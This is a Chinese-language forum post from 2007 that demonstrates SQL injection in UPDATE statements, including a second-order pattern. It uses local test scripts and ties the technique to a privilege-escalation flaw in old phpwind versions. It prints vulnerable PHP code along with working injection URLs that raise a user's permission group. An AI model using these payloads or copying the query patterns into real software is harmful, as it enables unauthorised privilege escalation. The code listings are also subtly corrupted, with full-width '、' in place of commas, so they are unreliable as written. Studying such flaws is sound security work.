查看: 1394|回復: 0
打印 上一主題 下一主題

PHPwind漏洞檢測程式

[複製鏈接]
跳轉到指定樓層
1#
發表於 2007-9-6 14:30:01 | 只看該作者 回帖獎勵 |正序瀏覽 |閱讀模式
一、測試環境

OS: Windowsxp sp2
php: php 4.3.10
mysql 4.1.9
apache 1.3.33

二、測試資料庫結構

-- 資料庫: `test`
--

-- --------------------------------------------------------

--
-- 表的結構 `userinfo`
--

CREATE TABLE `userinfo` (
`groudid` varchar(12) NOT NULL default '1',
`user` varchar(12) NOT NULL default 'heige',
`pass` varchar(122) NOT NULL default '123456'
) ENGINE=MyISAM DEFAULT CHARSET=utf8;

--
-- 導出表中的資料 `userinfo`
--

INSERT INTO `userinfo` VALUES ('2'、'heige'、'123456')


三、測試模式

1、變量沒有帶''或""

<?php
//test1.php Mod1
$servername = "localhost";
$dbusername = "root";
$dbpassword = "";
$dbname = "test";

mysql_connect($servername,$dbusername,$dbpassword) or die ("資料庫連接失敗");

$sql = "update userinfo set pass=$p where user='heige'";//<--$P沒有使用單引號

$result = mysql_db_query($dbname、$sql);
$userinfo = mysql_fetch_array($result);

echo "<p>SQL Querysql<p>";
?>


腳本裡只是修改 user='heige' 的 pass,如果 groudid 表示用戶的權限等級,我們的目的就是通過構造 $p 來達到修改 groupid 的目的,那麼我們提交:

http://127.0.0.1/test1.php?p=123456,groudid=1


在mysql裡查詢:

mysql> select * from userinfo;
+---------+-------+--------+
| groudid | user | pass |
+---------+-------+--------+
| 1 | heige | 123456 |
+---------+-------+--------+
1 row in set (0.01 sec)


用戶heige的groudid又2改為1了

所以我們可以得到沒有''或""update的注射是可以成功的,這個就是我們的模式1。

2、變量帶''或""

<?php
//test2.php
$servername = "localhost";
$dbusername = "root";
$dbpassword = "";
$dbname = "test";

mysql_connect($servername,$dbusername,$dbpassword) or die ("資料庫連接失敗");

$sql = "update userinfo set pass='$p' where user='heige'";//<--$P使用單引號

$result = mysql_db_query($dbname、$sql);
$userinfo = mysql_fetch_array($result);

echo "<p>SQL Querysql<p>";
?>


為了關閉'我們構造$p應該為 123456',groudid='2 提交:

http://127.0.0.1/test2.php?p=123456',groudid='1


在gpc=on的情況下'變成了\',提交的語句變成:

SQL Query:update userinfo set pass='123456\',groudid=\'1' where user='heige'


mysql查詢:

mysql> select * from userinfo;
+---------+-------+--------------------+
| groudid | user | pass |
+---------+-------+--------------------+
| 2 | heige | 123456',groudid='1 |
+---------+-------+--------------------+
1 row in set (0.00 sec)


groudid並沒有被修改。那麼在變量被''或""時 就完全沒有被注射呢?不是 下面我們看模式2:

<?php
//test3.php Mod2
$servername = "localhost";
$dbusername = "root";
$dbpassword = "";
$dbname = "test";

mysql_connect($servername,$dbusername,$dbpassword) or die ("資料庫連接失敗");

$sql = "update userinfo set pass='$p' where user='heige'";//<--$P使用單引號

$result = mysql_db_query($dbname、$sql);
mysql_fetch_array($result); //$p的資料寫入資料庫

$sql= "select pass from userinfo where user='heige'";
$result = mysql_db_query($dbname、$sql);
$userinfo=mysql_fetch_array($result);

echo $userinfo[0]; //把pass查詢輸出給$userinfo[0]

$sql ="update userinfo set pass='$userinfo[0]' where user='heige'";
$result = mysql_db_query($dbname、$sql);
mysql_fetch_array($result); //把$userinfo[0] 再次update

?>


我們測試下,提交:

http://127.0.0.1/test3.php?p=123456',groudid='1


回mysql查詢下 :

mysql> select * from userinfo;
+---------+-------+--------+
| groudid | user | pass |
+---------+-------+--------+
| 1 | heige | 123456 |
+---------+-------+--------+
1 row in set (0.00 sec)


HaHa~~ 成功注射 修改groudid為1。 這個就是我們的模式2了,簡單的描敘如下:

update --> select --> update


四、實際模式

模式1:缺

模式2:phpwind 2.0.2和3.31e 權限提升漏洞

漏洞分析

update (profile.php 注射變量為$proicon update語句裡為,icon='$userdb[icon]')
↓
select (jop.php)
↓
updtate (jop.php)
您需要登錄後才可以回帖 登錄 | 註冊

本版積分規則

本論壇為非營利之網路平台,所有文章內容均為網友自行發表,不代表論壇立場!若涉及侵權、違法等情事,請告知版主處理。


Page Rank Check

廣告刊登  |   交換連結  |   贊助我們  |   服務條款  |   免責聲明  |   客服中心  |   中央分站

手機版|中央論壇

GMT+8, 2026-11-8 07:12 , Processed in 0.038275 second(s), 16 queries .

Powered by Discuz!

© 2005-2015 Copyrights. Set by YIDAS

快速回復 返回頂部 返回列表